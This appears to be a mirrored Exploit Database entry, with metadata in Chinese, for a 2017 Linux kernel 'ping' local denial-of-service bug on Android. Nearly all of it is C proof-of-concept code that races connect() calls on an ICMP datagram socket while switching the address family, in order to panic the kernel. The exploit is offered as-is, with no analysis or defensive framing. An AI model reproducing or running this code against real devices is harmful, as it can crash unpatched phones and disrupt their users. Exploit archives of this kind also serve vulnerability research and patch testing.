Linux Kernel – ‘ping’ Local Denial of Service

• Exploit Database
• 110 阅读

• 作者： Daniel Jiang
  日期： 2017-06-07
• 类别：

  • dos
  平台：

  • android
• 来源：https://www.exploit-db.com/exploits/42135/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31

  // Source: https://raw.githubusercontent.com/danieljiang0415/android_kernel_crash_poc/master/panic.c   #include <stdio.h> #include <sys/socket.h> #include <arpa/inet.h> #include <stdlib.h> static int sockfd = 0; static struct sockaddr_in addr = {0};   void fuzz(void * param){ while(1){ addr.sin_family = 0;//rand()%42; printf("sin_family1 = %08lx\n", addr.sin_family); connect(sockfd, (struct sockaddr *)&addr, 16); } } int main(int argc, char **argv) { sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP); int thrd; pthread_create(&thrd, NULL, fuzz, NULL); while(1){ addr.sin_family = 0x1a;//rand()%42; addr.sin_port = 0; addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); connect(sockfd, (struct sockaddr *)&addr, 16); addr.sin_family = 0; } return 0; }